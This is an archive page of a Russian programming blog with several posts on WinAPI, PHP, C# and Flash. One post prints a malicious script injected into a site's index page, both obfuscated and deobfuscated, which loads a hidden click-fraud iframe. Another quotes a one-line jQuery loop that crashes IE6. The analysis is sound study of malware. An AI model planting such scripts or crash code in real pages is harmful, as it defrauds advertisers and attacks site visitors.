Archive

Author Archive

C++ Builder 5 против Windows Vista или Подлые Модальные Окна

August 18th, 2010 No comments

Проблема.
Есть старое приложение, написанное на C++ Builder 5 и собранное на Windows XP. Все, что нужно о нем знать – в определенный момент программа показывает модальное окно с помощью функции ShowMessage(). Это простой и часто используемый прием вывода сообщения, например, об ошибке.

builder_vs_vista

При запуске приложения на Windows Vista что-то пошло не так. В тот момент, когда должно было появится сообщение, основное окно стало заблокированным, но модального окна я не увидел. Единственный способ остановить программу – Alt+Ctr+Del.

Щелкаю правой кнопкой по exe-файлу, Свойства, Совместимость. Выбираю “Windows XP” и пробую запустить программу снова. На этот раз я увидел модальное окно, но лишь на полсекунды. Далее все то же самое – основное окно заблокировано, модального не видно.

Итак, проблема в том, что Vista показывает модальное окно некоторых старых программ за основным, таким образом, добраться до него и нажать-таки кнопку OK совершенно невозможно.

А мне действительно нужна была эта программа и сообщения, которые она выдавала.

Имеем перед глазами следующую картинку (окно заблокировано, тыкать в него мышкой бесполезно):

Задача.
Увидеть модальное окно и нажать в нем кнопку OK для продолжения выполнения программы.

Решение.
Может, было решение и проще, но я решил вооружиться WinAPI. Известно, что есть у Windows функция ShowWindow(). Она принимает дескриптор окна и команду. Команды бывают разные, мне же достаточно двух: спрятать окно и показать окно. Однако сначала мне нужно узнать дескриптор окна; но и это не проблема – WinAPI имеет средства для перебора окон.

Я решил написать консольное Win32 приложение, которое умело бы делать три действия:

  1. Получить дескрипторы окон с известным заголовком
  2. Спрятать окно с известным дескриптором
  3. Показать окно с известным дескриптором

Алгоритм при появлении модального окна:

  1. Узнать дескриптор основного окна приложения
  2. Спрятать его
  3. Прочитать сообщение и нажать кнопку OK в модальном окне
  4. Показать основное окно
  5. Продолжить работу

Для поиска окна существует функция FindWindow(), которая позволяет найти дескриптор по заголовку. Однако в моем случае с одним и тем же именем было сразу три окна: основное, модальное и то, что в панели задач. Более того – искать окно мне хотелось не по точному совпадению заголовка, а только по началу строки. То есть вместо полного “Ввод данных” я хочу писать, скажем, “Вво”. Функция EnumWindows() вполне удовлетворила мои требования.

Итак, консольное приложение готово (исходники ниже). Запускаю его, ввожу команду EnumWindows и первые символы заголовка:

Вот результат команды:

Беру первое найденное окно и посылаю ему команду “погаснуть”:

Теперь я вижу желанное модальное окно:

Читаю, нажимаю OK. Показываю основное окно:

И продолжаю работу.

Можете скачать консольное приложение и посмотреть исходники:

#include <windows.h>
#include <stdio.h>
 
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
	char str[1024];
	char oem[1204];
	char* txt;
 
	// Получаем заголовок очередного окна.
	GetWindowTextA(hwnd, str, 1024);
 
	// Переводим его в кодировку OEM.
	CharToOemA(str, oem);
 
	// Строка поиска.
	txt = (char*)lParam;
 
	// Ищем по совпадению начала строки.
	if (strlen(str) > strlen(txt))
		str[strlen(txt)] = 0;
 
	// Если совпадает - выводим HWND.
	if (!strcmp(str, txt))
		printf("# hwnd = %d : %s\r\n", hwnd, oem);
 
	// Продолжаем поиск.
	return TRUE;
}
 
void CmdEnumWindows()
{
	char title[1024];
 
	// Запрос заголовка окна.
	printf("> window title: ");
	gets_s(title, 1024);
 
	// Кодируем из OEM.
	OemToCharA(title, title);
 
	// Запуск поиска.
	if (EnumWindows(EnumWindowsProc, (LPARAM)title))
		printf("# OK\r\n");
	else
		printf("# ERROR\r\n");
}
 
void CmdShowWindow()
{
	char tmp[32];
	int hwnd;
	int nCmdShow;
 
	// Запрос HWND.
	printf("> hwnd: ");
	gets_s(tmp, 32);
	hwnd = atoi(tmp);
 
	// Запрос nCmdShow.
	printf("> nCmdShow (SW_SHOW = 5, SW_HIDE = 0): ");
	gets_s(tmp, 32);
	nCmdShow = atoi(tmp);
 
	// Вызов WinApi.
	if (ShowWindow((HWND)hwnd, nCmdShow))
		printf("# OK\r\n");
	else
		printf("# ERROR\r\n");
}
 
void main()
{
	// Цикл обработки команд.
	char cmd[256];
 
	while (strcmp(cmd, "Exit"))
	{
		printf("commands: EnumWindows, ShowWindow, Exit\r\n");
		printf("> ");
		gets_s(cmd, 256);
 
		if (!strcmp(cmd, "EnumWindows"))
		{
			CmdEnumWindows();
		}
		else if (!strcmp(cmd, "ShowWindow"))
		{
			CmdShowWindow();
		}
	}
}

P.S. Пока писал статью, понял, как решить проблему значительно проще. Уменьшить основное окно и сдвинуть к краю экрана… Но я все равно рад возможности вспомнить WinAPI и старый добрый Си :)

Наша профессия

June 27th, 2010 No comments

Текст о профессии разработчика я написал давным-давно, еще когда “Свиттер” на свет не появился. Вот, наконец, решил опубликовать.

programmer

В наше время проявить себя творчески не так просто. В крупных компаниях человек может работать с людьми, с документами, что-то продавать, закупать, даже заведовать чем-либо. Но в корпорации человек – это, как правило, винтик. Он мало что решает, даже будучи руководителем. Грустно, что часто трудно понять, для чего нужна та работа, которую ты делаешь. Фермер производит продукт, который можно продать на базаре и получить за это справедливые деньги. Специалист по перестрахованию тоже делает сложную работу, но ее ценность не так очевидна. Торговец на бирже может хорошо зарабатывать, имея достаточный опыт и легкость руки. Его пользу для общества уловить еще сложнее.

* Перестрахование – это распределение рисков страховой компании по ряду других страховых компаний.

Раньше считалось почетным производить некий продукт. Например, владелец мануфактуры являлся очень уважаемым человеком. Ростовщик же, напротив, считался паразитом общества, к его деятельности относились пренебрежительно, хотя, когда нужны были деньги, все равно шли к нему. К сожалению, в понятиях того времени большинство современных работ можно назвать никчемными и паразитными.

Программирование выгодно выделяется среди прочей деятельности. Разработчик своими руками производит программный продукт. Можно сразу увидеть результат своей работы и, если не пощупать, то, по крайней мере, пощелкать его мышкой.
Программист, во всяком случае, на работе, живет в мире компьютеров и программ. Таким людям не свойственны закулисные игры, интриги и прочие дрязги, которые многим портят здоровье и настроение.

Однако, самая главная прелесть работы разработчика – возможность быть творцом. Создавая архитектуру приложения, он определяет структуру и правила создаваемого мира, стараясь придать им как можно большую стройность и изящество. Рисуя диаграммы и чувствуя красоту проектируемой системы, разработчику не терпится приступить к написанию кода, окунуться в придуманный мир. Даже если программист играет не главную роль в разработке приложения, а реализовывает конкретные узлы системы, простора для творчества обычно остается достаточно.

Хороший разработчик пишет хороший код. Он делает это вовсе не для того, чтобы оправдать высокую зарплату, а прежде всего для себя и людей, которые будут работать с этим кодом. Он любит свои программы и создаваемые строки текста. Лучшая похвала для программиста – похвала коллеги. Такие люди могут десятки раз править работающую программу лишь для того, чтобы сделать ее более стройной, концептуально верной и лаконичной. Глядя на качественно написанные исходные тексты, программист получает удовольствие и понимает, что труд был потрачен не зря.

Профессия разработчика прекрасна!

Конференция «Будущее Flash-платформы»

May 12th, 2010 No comments

Adobe FlashВчера был на конференции “Будущее Flash-платформы” в МГУ. Эта первое мероприятие такого рода, которое мне посчастливилось посетить.

Программа:

  • Презентация Flex 4/Flash Catalyst, Tom Krcha
  • Flex 4 Gumbo, Валерий Песецкий и Сергей Язловецкий
  • 3D во Flash, Антон Волков
  • Технологии развития и будущее Flash-платформы, Артемий Малков

Предлагаю вашему вниманию подробный отчет.

Презентация Flex 4/Flash Catalyst

Tom Krcha

Том – классный парень в красных штанах, много улыбается и отлично говорит по-английски. Работает в Adobe евангелистом.

Евангелист – человек, который ездит по миру и рассказывает о технологиях, языках и т.п.

Том показывал презентации, кодил в режиме реального времени, делал, в общем, всяческие интересные штуки. Показывал новые возможности IDE (умную табуляцию, например) и отладчика (conditional breakpoints). Много рассказывал про Flash Catalyst, показывал, как можно сделать дизайн в Иллюстраторе, а затем «перетащить» его во Флэш. Часто можно было услышать «without any line of code», и это, кажется, действительно так. Похоже, что можно сделать типовое приложение, работающее с БД, одной мышкой. Мне не нравится подход «without any line of code» и «программирование мышкой», но это сейчас модно. Действительно, почему бы не решать простые задачи по-простому?

Tom Krcha

Тому задавали много вопросов. В конце с вопросами выступил настоящий гуру Флеш-разработки (Александр Немцов), он спрашивал коварные вещи, на которые Тому было нечего ответить. Мне стало его даже немного жалко.

В целом выступление Тома прошло весело и бойко.

Flex 4 Gumbo

Валерий Песецкий, Сергей Язловецкий

Валерий и Сергей рассказывали про то, чем четвертый Flex отличается от третьего.

Основные моменты:

  • Новая концепция компонентов, «Spark»
  • Графика в MXML, то есть можно «рисовать» треугольники, кружочки и т.д. текстом в MXML описании
  • FXG (Flash Xml Graphic), формат графики, совместимый с Adobe Illustrator и другими программами
  • Состояния (States) стали круче
  • Двустороннее связывание данных
  • Дополнительные возможности CSS
  • Поддержка ASDoc (автоматическая генерация документации), для этого служат комментарии в MXML с тремя минусами
  • Новый механизм создания анимации (фильтры, в том числе Pixel Bender)
  • Компоновка стала динамической, теперь можно поворачивать элементы в контейнерах и размещать и на разных слоях
  • FTE (Flex Text Engine), текст теперь может располагаться в нескольких столбцах, быть вертикальным, справа налево и т.д.
  • Больше всего обрадовало то, что теперь графики входят в стандартную комплектацию Flex, то есть они бесплатны!

Ораторы подробно отвечали на все вопросы; при этом выяснилось, что теперь компонентам не рекомендуется иметь дочерние. То есть функция createChildren() теряет актуальность. Новая концепция предполагает, что за дочерние компоненты отвечает скин, который, кстати говоря, теперь полноценный UIComponent. В остальном архитектура Flex вроде бы не изменилась.

Стоит отметить то, что новые компоненты Spark нормально уживаются со старыми, так как находятся в разных пространствах имен. Так что явных проблем при переносе проекта с третьего Flex на четвертый быть не должно.

Приложения Adobe Flash для графических планшетов Wacom

Ольга Никулина

Ольга – очаровательная девушка с милой улыбкой и приятным голосом. Непосредственность, с которой она рассказывала про планшеты, обезоружила бы самого грозного критика.

Качайте SDK, берите планшет и начинайте писать для него мини-приложения на платформе Flash. Победитель получит 1000 фунтов и приглашение на ацкую флеш вечерину.
http://mini-developer.wacom.com

3D во Flash

Антон Волков

«Антон прекрасно поет и танцует», – анонсировал оратора Артемий Малков. Сюда по тому, что я увидел в течение следующего часа, прекрасно петь и танцевать – сущая ерунда для Антона. Он представлял проект «3D Alternativa». Это сложнейший движок трехмерной графики для Flash.

Демонстрация началась с путешествия по бункеру, было очень похоже на Doom. Антон долго и упорно шел по похожим комнатам, так как хотел добраться до некого генератора, который ему особенно нравится.

Затем мне посчастливилось быть свидетелем премьеры «TANKI ONLINE». Скажу честно, я и не предполагал, что Flash на такое способен. Выглядит очень круто!
http://tankionline.com

Несмотря на следующие проблемы платформы:

  • Нет Z-буфера
  • Pixel Bender бесполезен
  • Байт-код не всегда эффективен
  • Нет многопоточности
  • Нет аппаратного ускорения

Для их решения Антону и его команде пришлось «подковать блоху», придумывая хитрые методы оптимизации (запомнился предварительный расчет видимости, который на приличной машине выполняется четверо суток).

В завершение Антон сказал обнадеживающие слова о будущем Flash, и закончил выступление видеороликом «3D + мультитач – девчонкам нравится».

Технологии развития и будущее Flash-платформы

Артемий Малков

Артемий выступал последним, и время было уже позднее. Но поскольку характер его презентации был больше философским, чем техническим, информация воспринималась хорошо.

Боюсь изложить неточно идеи оратора, но я выделил следующие важные вещи:

  • На ближайшие 5 лет Flash будет оставаться доминирующей технологией насыщенного веба
  • Десктоп-приложения уходят в прошлое
  • Стоит присматриваться к мобильным устройствам
  • Учить английский
  • Интегрироваться в профессиональные сообщества

Спасибо всем участникам и организаторам за конференцию и подаренные значок, наклейки и футболку!

P.S. А еще сайту flash-ripper, благодаря которому я попал на эту конференцию.

Русский Язык. Выбор окончаний

April 9th, 2010 No comments

Уверен, что каждому читателю приходилось в своих программах много раз выводить на экран (или куда-нибудь еще) количество чего-нибудь. Если вы это не делали, то, вероятно, вы никогда и не писали программы и читаете наш журнал случайно :)

Например: “Комментариев: 4″, “Новых писем: 1″, “Всего сотрудников: 19″ и т.д.

Пользователь – существо, как правило, неприхотливое. Для пользователя программа – магия. И если она работает, то уже хорошо, главное – покажите куда нажимать.

Но если вы все же найдете свободную минутку, чтобы его порадовать, то почему бы не сделать так: “4 комментария“, “1 новое письмо“, “Всего 19 сотрудников” и т.д.

В английском языке все просто: “1 comment”, “N comments” (N > 1). Богатство же Русского Языка не дает скучать хмурым программистам. Статья посвящена правильному выбору окончаний.

Давайте возьмем слово “сообщение” и пробежимся по первой десятке чисел.

  • 0 сообщений
  • 1 сообщение
  • 2 сообщения
  • 3 сообщения
  • 4 сообщения
  • 5 сообщений
  • 6 сообщений
  • 7 сообщений
  • 8 сообщений
  • 9 сообщений

Можно выделить три группы, я назову их w1, w2 и w5.

Группа w1:

  • 1 сообщение

Группа w2:

  • 2 сообщения
  • 3 сообщения
  • 4 сообщения

Группа w5:

  • 5 сообщений
  • 6 сообщений
  • 7 сообщений
  • 8 сообщений
  • 9 сообщений
  • 0 сообщений

Для любого числа подходящая пара будет относится к одной из этих трех групп. Но как обобщить правило для всех чисел?

Первая мысль, которая приходит в голову – брать последнюю цифру. Действительно: “1021 сообщение”, “542 сообщения”, “35 сообщений”. Но эта мысль верна ровно на 90%.

Дело в том, что все числа, предпоследняя цифра которых равна единице, отностяся к группе w5: “11 сообщений”, “1012 сообщений”.

Теперь можно сформулировать правило выбора группы для любого числа:

  • w5, если предпоследняя цифра равна единице
  • или w5, если последняя цифра больше или равна пяти
  • или w5, если последняя цифра равна нулю
  • или w1, если последняя цифра равна единице
  • иначе w2

Ниже несколько реализаций функции.

PHP:

//
// Функция выбирает нужное слово для конкретного числа.
// Например: 1 сообщение, 2 сообщения, 5 сообщений.
//
function NumberOf($number, $w1, $w2, $w5, $appendNumber = true)
{
	$n1 = $number % 10;   // 123 % 10 = 3
	$n12 = $number % 100; // 123 % 100 = 23
 
	if ($n1 >= 5 || $n1 == 0 || ($n12 >= 11 && $n12 <= 19))
		$w = $w5;
	else if ($n1 == 1)
		$w = $w1;
	else
		$w = $w2;
 
	return $appendNumber ? "$number $w" : $w;
}

Пример использования:

$n = 10;
 
echo NumberOf($n, 'новое сообщение', 'новых сообщения', 'новых сообщений');
 
echo "<b>$n</b>" .
       NumberOf($n, 'новое сообщение', 'новых сообщения', 'новых сообщений', false);

Результат:

10 новых сообщений
<b>10</b> новых сообщений

Java Script:

//
// Функция выбирает нужное слово для конкретного числа.
// Например: 1 сообщение, 2 сообщения, 5 сообщений.
//
function numberOf(number, w1, w2, w5, appendNumber)
{
	var w = '';
	var n1 = number % 10;   // 123 % 10 = 3
	var n12 = number % 100; // 123 % 100 = 23
 
	if (n1 >= 5 || n1 == 0 || (n12 >= 11 && n12 <= 19))
		w = w5;
	else if (n1 == 1)
		w = w1;
	else
		w = w2;
 
	if (appendNumber == null)
		appendNumber = true;
 
	return appendNumber ? (number + ' ' + w) : w;
}

Пример использования:

var n = 10;
alert numberOf(n, 'новое сообщение', 'новых сообщения', 'новых сообщений');
alert numberOf(n, 'новое сообщение', 'новых сообщения', 'новых сообщений', false);

C#:

//
// Функция выбирает нужное слово для конкретного числа.
// Например: 1 сообщение, 2 сообщения, 5 сообщений.
//
static string NumberOf(int number,
                       string w1,
                       string w2,
                       string w5,
                       bool appendNumber)
{
	string w = "";
	int n1 = number % 10;   // 123 % 10 = 3
	int n12 = number % 100; // 123 % 100 = 23
 
	if (n1 >= 5 || n1 == 0 || (n12 >= 11 && n12 <= 19))
		w = w5;
	else if (n1 == 1)
		w = w1;
	else
		w = w2;
 
	return appendNumber ? (number.ToString() + ' ' + w) : w;
}

Пример использования:

string s1, s2;
int n = 10;
 
s1 = NumberOf(n, "новое сообщение", "новых сообщения", "новых сообщений", true);
s2 = NumberOf(n, "новое сообщение", "новых сообщения", "новых сообщений", false);
 
Console.WriteLine(s1);
Console.WriteLine(s2);

Материал не претендует на революционность, хотя и является собственной разработкой. Я не искал решений в Интеренете, так как люблю изобретать велосипеды )

Кодикевич и вычислительный кластер

April 5th, 2010 No comments

Кодикевич где-то раздобыл вычислительный кластер и не придумал ничего лучше, чем просчитать 100 факториал… Получил огрмное число, но не успокоился на этом. Он сложил все цифры в полученном результате и получил второе огромное число. Потом сложил все цифры снова и т.д. пока не получил одноразрядное число.

Какое число получил Кодикевич?

Задачку можно найти в Интернете, правда, про другого персонажа. Там же есть ответ: 9.

Но почему?

Я написал нехитрую программу:

static class Program
{
    static long Fact(int n)
    {
        return (n == 0) ? 1 : (n * Fact(n - 1));
    }
 
    static int Sum(long n)
    {
        string s = n.ToString();
        int sum = 0;
 
        for (int i = 0; i < s.Length; i++)
            sum += int.Parse(s.Substring(i, 1));
 
        return sum;
    }
 
    static void Main()
    {
        int n = 20;
        long x = Fact(n);
 
        while (x > 10)
            x = Sum(x);
 
        Console.WriteLine(x);
    }
}

Подумаешь, вычисляю сумму циферок по-индуски…

При n = 6, 7, 8, 9, …, 17, 18, 19, 20 получается действительно цифра 9. Дальше кончился long и я посмотреть не смог.

Так все же почему оно так?

Злой плагин для jQuery

April 1st, 2010 No comments

SUMMARY

A jQuery plugin for crashing IE6. That’ll teach those motherf!%@*#s to upgrade their s#*t.

http://plugins.jquery.com/project/crash

О плагине я узнал сегодня на хабре. В документации подробно описывается, как им пользоваться.

USAGE

To crash IE6 call

$.crash();

В jQuery добавляется метод crash(), вызов которого валит IE6 вот так:

iecrash

Что же именно приводит IE6 к такому конфузу? Я скачал плагин и стал изучать его исходный код…

/**
 * jQuery Crash (http://mktgdept.com/jquery-crash)
 * A jQuery plugin to crash IE6.
 *
 * v0.0.2 - 5 March 2010
 *
 * Copyright (c) 2009 Chad Smith (http://twitter.com/chadsmith)
 * Dual licensed under the MIT and GPL licenses.
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.opensource.org/licenses/gpl-license.php
 *
 * Use $.crash();
 *
 **/
;jQuery.crash=function(x){for(x in document.open);};

То есть вот этот код IE6 выполнить не может:

for(x in document.open);

Для тех кто не очень хорошо знаком с JavaScript, цикл for-in – это обход всех свойств объекта. Вообще document.open – это функция, которая открывает новое окно по указанному URL (MSDN). Но JavaScript позволяет использовать функции и как объекты в том числе. То есть на функции можно вешать разные свойства и это будет корректно с точки зрения языка.

Например, такой код покажет окошко с текстом «document.open.kuku = Ku-ku!» в Гугл Хроме. IE6 тоже покажет окошко, но другое (то, что в начале статьи).

document.open.kuku = "Ku-ku!";
 
for(x in document.open)
{
	alert('document.open.' + x + ' = ' + document.open[x]);
}

(*) вызов document.open.kuku эквивалентен вызову document.open['kuku'] в JavaScript

chrome_not_crash

У меня нет IE6, так что не могу проверить, распространяется ли эта особенность на такие функции, как document.getElementById() и вообще любые функции. Если у кого-то есть старый добрый злой ослик, проверьте и напишите. Мне весьма любопытно)

И, конечно, любопытна сама идея такого плагина-стимулятора. Хотя, сомневаюсь, что кто-то пользуется IE6 от хорошей жизни. Вряд ли стоит ее омрачать еще больше.

Распутывание злого кода

March 19th, 2010 No comments

Добрый день!
Подскажите, недавно в мой index был дописан код

function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';
return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.
iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF=""; wS=9383;
 
...(и много-много этого злокода)...

как так получилось, если от ftp пароли нигде не сохраняю, а других акков нету.
И, если сильны в java, подскажите, что делается то в коде?))

Вот что я недавно нашел на одном форуме. Любопытно узнать, что же действиетльно делается в коде…

1. Форматирование кода

Естественно, сперва необходимо отформатировать код, чтобы начать его читать. Вставляю эту кашу в Notepad++ и через 10 минут работы энтером и табом вижу вот что (приготовьтесь долго скролить):

function zG(){};
tF=53186;
 
zG.prototype =
{
	fK : function()
	{
		e="e";
		this.fQ='';
		return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');
		var oN=new Date();
		this.nU="";
	},
	v : function()
	{
		dF="";
		wS=9383;
		nB="nB";
		var t=new Date();
		var h='';
		var m=new Date();
		String.prototype.iH=function(d, o){return this.replace(d, o)};
		var r=new Date();
		tR="tR";
		kQ=false;
		gG=20573;
		wJ=false;
		zW="";
		var c=function(){};
		var y=window;
		gN="gN";
		this.yQ="yQ";
		var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
		var eK=new Date();
		var hI="hI";
		function jL(){};
		var z = this;
		var rN='';
		var p=false;
		var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";
		function mT(){};
		xH="";
		this.u=false;
		var f=document;
		this.dX="dX";
		this.hB="hB";
		var jA=false;
 
		var k =
		{
			vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''),
			oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),
			kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''),
			fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''),
			w : 's;rLcL'.iH(/[L;\{\(5]/g, ''),
			xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '')
		};
 
		var rK='';
		function hV(){};
		var uI=function(){return 'uI'};
		this.gC='';
		var rP="";
		var tZ=function(){return 'tZ'};
		this.a="a";
		var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
		var kL=new Date();
		i=39073;
		this.fU="fU";
		jO=false;
		pW='';
		var eY=5116;
 
		try
		{
			rD="rD";
			vC=false;
			var fI=function(){};
			var rU="rU";
			this.q="q";
			b="";
			var bJ='';
			nE(n,k.oU, yR("display%3A%20none"));
			function dS(){};
			rG=63044;
			this.uK=false;
			this.iB="iB";
			nE(n,k.w, this.fK());
			eU="eU";
			this.pS='';
			this.fR="";
			var qA='';
			qE="qE";
			qL="";
			f[k.xK][k.vM](n);
			this.xL=54456;
			this.hW="";
			var bK=new Array();
			this.iR="";
		}
		catch(g)
		{
			this.vB="";
			tN='';
			var eJ='';
			var uD=new Array();
			var rV=new Date();
			var l=function(){};
			this.lK='';
			f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
			this.hK=49925;
			var iL=new Array();
			hKH='';
			this.uJ=61972;
			this.cO="cO";
			var s="s";
			this.mG=53808;
 
			y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')]
			(
				function()
				{
					this.cJ="cJ";
					this.uR="";
					var pO='';
					vH=58151;
					this.dSF='';
					var sV="sV";
					z.v();
					var wH=34896;
					var cM=new Date();
					var yK=new Array();
					var eYV=function(){};
					this.kU="kU";
					zT="";
				},
				368
			);
 
			zJ="";
			var dXZ="dXZ";
		}
 
		qZ=19279;
		this.vBG='';
		var nM=new Date();
		var tZZ=false;
		var eE=new Date();
		var hC=new Date();
		function vO(){};
		var wZ="";
 
		function nE(n, j, dB)
		{
			this.bW='';
			var fT=new Array();
			n[k.fV](j,dB);
			var iRP=function(){return 'iRP'};
			tD="";
			var kI=new Array();
		}
 
		this.xX='';
		this.fX='';
		var tQ=false;
		dV=false;
	}
};
 
var uY=new Array();
var cP=new zG();
this.dK="dK";
cP.v();
function gQ(){};

Очевидно, что в коде много мусора. Я немного растерялся, не зная, как приступить к его чистке. Но тут взгляд упал на строку:

var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];

Я увидел здесь слово unescape! Словно как на трехмерной картинке :) Стало ясно, что делать дальше.

2. Чистка строк

Нахожу функцию чистки строки:

String.prototype.iH=function(d, o){return this.replace(d, o)};

Таким образом, запись:

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '');

означает, что из строки нужно выкинуть символы «Yj9\$\{».

'u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '') === 'unescape'

И второй способ засорения строк, попроще:

window.unescape("xxK%3C%2Fbody%3E%3C%2Fhtml%3E") === "xxK</body></html>";

Пробегаю по всем строковым константам и привожу их в порядок…

3. Удаление неиспользуемых функций и переменных

Код оказалось легко уменьшить в 4 раза, удалив строки такого вида:

tF=53186;
gN="gN";
this.fQ='';
var oN=new Date();
kQ=false;
var c=function(){};

4. Устранение запутывающих переменных

Следующим шагом было распутывание конструкций такого вида:

var n=f[k.kC]('iframe');

Благодаря нехитрой таблице преобразований

y=window
yR=y['unescape']
z = this
oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E"
f=document
k = {vM:'appendChild', oU:'style', kC:'createElement', fV:'setAttribute', w:'src', xK:'body'}

они превращались во вполне читаемый код:

var n = document['createElement']('iframe');

5. Устранение запутывающих функций

Оставалось избавиться от пары функции:

fK : function()
{
	return 'http://click-poisk.com/there/in.cgi?7';
}
 
function nE(n, j, dB)
{
	n['setAttribute'](j,dB);
}

И можно читать код зловредного скрипта.

6. «что делается-то в коде»

Я прокомментировал каждую строчку:

// констркутор класса zG
function zG(){};
 
// класс zG, состоящий из единственной функции v()
zG.prototype =
{
	v : function()
	{
		// создание iframe
		var n = document['createElement']('iframe');
 
		try
		{
			// iframe делается невидимым
			n['setAttribute']('style', 'display: none');
			// загружаемая iframe страница
			n['setAttribute']('src', 'http://click-poisk.com/there/in.cgi?7');
			// подключение созданного iframe к документу
			dokument['body']['appendChild'](n);
		}
		catch(g)
		{
			// если что-то пошло не так, в документ добавляется какая-то хрень
			document['write']('xxK</body></html>');
			// и менее, чем через полсекунды, попытка повторяется
			window['setTimeout'](function(){this.v();}, 368);
		}
	}
};
 
// сооздание объекта и вызов его злой функции
var cP=new zG();
cP.v();

Это кликер. Я, признаюсь, ожидал чего-то более интересного, но сам процесс распутывания кода был весьма увлекателен.

Кликер – это программа, имитирующая «клики» мышкой по баннерам и прочей рекламе, разновидность Интернет-ботов.

PHP и UTF-8

March 7th, 2010 No comments

Хорошим тоном считается использовать кодировку UTF-8, несмотря на то, что большинство сайтов рунета до сих пор работают на Windows-1251. В статье я расскажу, что же именно нужно сделать, чтобы PHP сайт правильно заработал с Юникодом, и с каким трудностями мне пришлось столкнуться на пути к прогрессу.

Достаточно ли тега meta?

Вот мой index.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8">
	<title>UTF-8</title>
</head>
<body>
	Здравствуй, UTF-8!
</body>

Сохраняю файл в кодировке UTF-8 и вижу в браузере каркозябры. Это меня не может не удивлять, потому что в теге meta указана верная кодировка.

Несмотря на это, все браузеры упорно считают, что документ пришел в Windows-1251.

utf8

Почему?

Статичная страница вместо скрипта

Пробую поменять расширение файла на «.html» и, о чудо! Я вижу надпись «Здравствуй, UTF-8!» Значит, дело в PHP…

Заголовки ответа

А не отправляет ли сервер кодировку в заголовке ответа? Запускаю мониторинг HTTP (как это сделать?) и вижу вот что:

Content-type: text/html; charset=windows-1251

То есть сервер считает, что страница должна быть в кодировке Windows-1251, о чем говорит браузеру заголовком Content-type.

Решение проблемы

Решить проблему можно двумя способами:

  1. Написать в начале скрипта (перед выводом HTML):

    <?php
    header('Content-type: text/html; charset=utf-8');
    ?>
  2. Указать в .htaccess нужную кодировку:

    AddDefaultCharset utf-8

Оба варианта приведут к одному и тому же – сервер вернет нужный нам заголовок:

Content-type: text/html; charset=utf-8

Для чего же тогда тег meta?

Для статичных страничек или же, если пользователь сохранит документ для автономной работы.

Метка BOM

Работая в кодировке UTF-8, нужно знать про злую метку BOM. Это такая последовательность байт, которая идет в начале файла и «помогает» понять кодировку. Однако для PHP эта метка оказывает медвежью услугу. Последовательность байт просто выводится в OUTPUT, в результате чего возникают разные неприятные вещи.

Например, IE отказывается реагировать на директиву DOCTYPE (видимо, он ее ждет в самом начале файла, а там BOM). Если вы используете шаблоны, и для вывода HTML используется несколько файлов, то браузер будет отображать отступы в местах стыка шаблонов.

Решение проблемы – использовать UTF-8 без BOM. Многие редакторы позволяют это делать, например, Notepad++:

bom

Работа с форматом ZIP в C#

February 25th, 2010 No comments

icsharpcode

Для упаковки и распаковки ZIP архивов средствами Net Framework существует множество библиотек. Одна из наиболее популярных – ICSharpCode.SharpZipLib. Распространяется библиотека по лицензии GPL и в целом производит приятное впечатление.

Она позволяет работать с форматом ZIP на относительно низком уровне, исползуя классы ZipInputStream, ZipOutputStream, ZipEntry и др. А можно ограничиться функциями «запаковать директорию в архивчик» и «распаковать архивчик в директорию», это умеет класс FastZip.

Все настолько просто, что если бы у меня не возникло загадочных проблем с кириллицей в именах файлов, то не было бы и этой статьи про ZIP и C#.

В веб-приложении (ASP.NET) по некой команде пользователя нужно запаковывать два файла в архив и отдавать его на скачивание. Для этого создается временная директория, туда помещаются файлы, далее они пакуются в архив.

tempDir = Path.GetTempPath() + Guid.NewGuid().ToString() + "\\";
Directory.CreateDirectory(tempDir);
 
...
 
FastZip fz = new FastZip();
fz.CreateZip(filename, tempDir, true, "");

Этот код прекрасно работал при запуске веб-сервера по F5 в VisualStudio. Однако на реальном сервере FastZip отказывался понимать кириллицу в именах файлов и заменял такие символы на знаки вопроса.

Для выявления проблемы я создал папку (»D:\test») с двумя файлами (»первый.txt», «второй.txt») и поставил задачу заархивировать ее. Вместо веб-сервера было написано конслоьное приложение. Вот его код:

public static void Main()
{
	FastZip fz = new FastZip();
	fz.CreateZip("D:\\test.zip", "D:\\test", true, "");
}

К моему удивлению, оно отработало на сервере безупречно! Значит, предположение, что проблема кроется в том, что на локальном компьютере у меня русская версия Windows, а на сервере – американская, было неверным.

Как оказалось, в библиотеке SharpZipLib есть такой класс ZipConstants, а у него есть свойство DefaultCodePage. В консольном приложении ZipConstants.DefaultCodePage = 866 (что хорошо), а на веб-сервере ZipConstants.DefaultCodePage = 437 (что нехорошо).

Решение проблемы оказалось совсем простым. Нужно добавить куда-нибудь перед архивацией эту строчку:

ZipConstants.DefaultCodePage = 866;

Передаю приветы:
- Гоше, проблема была в его коде :)
- Пользователю volser с форума ru-board; спасибо за ссылку, которая решила мою проблему!

Анализ трафика HTTP

February 9th, 2010 No comments

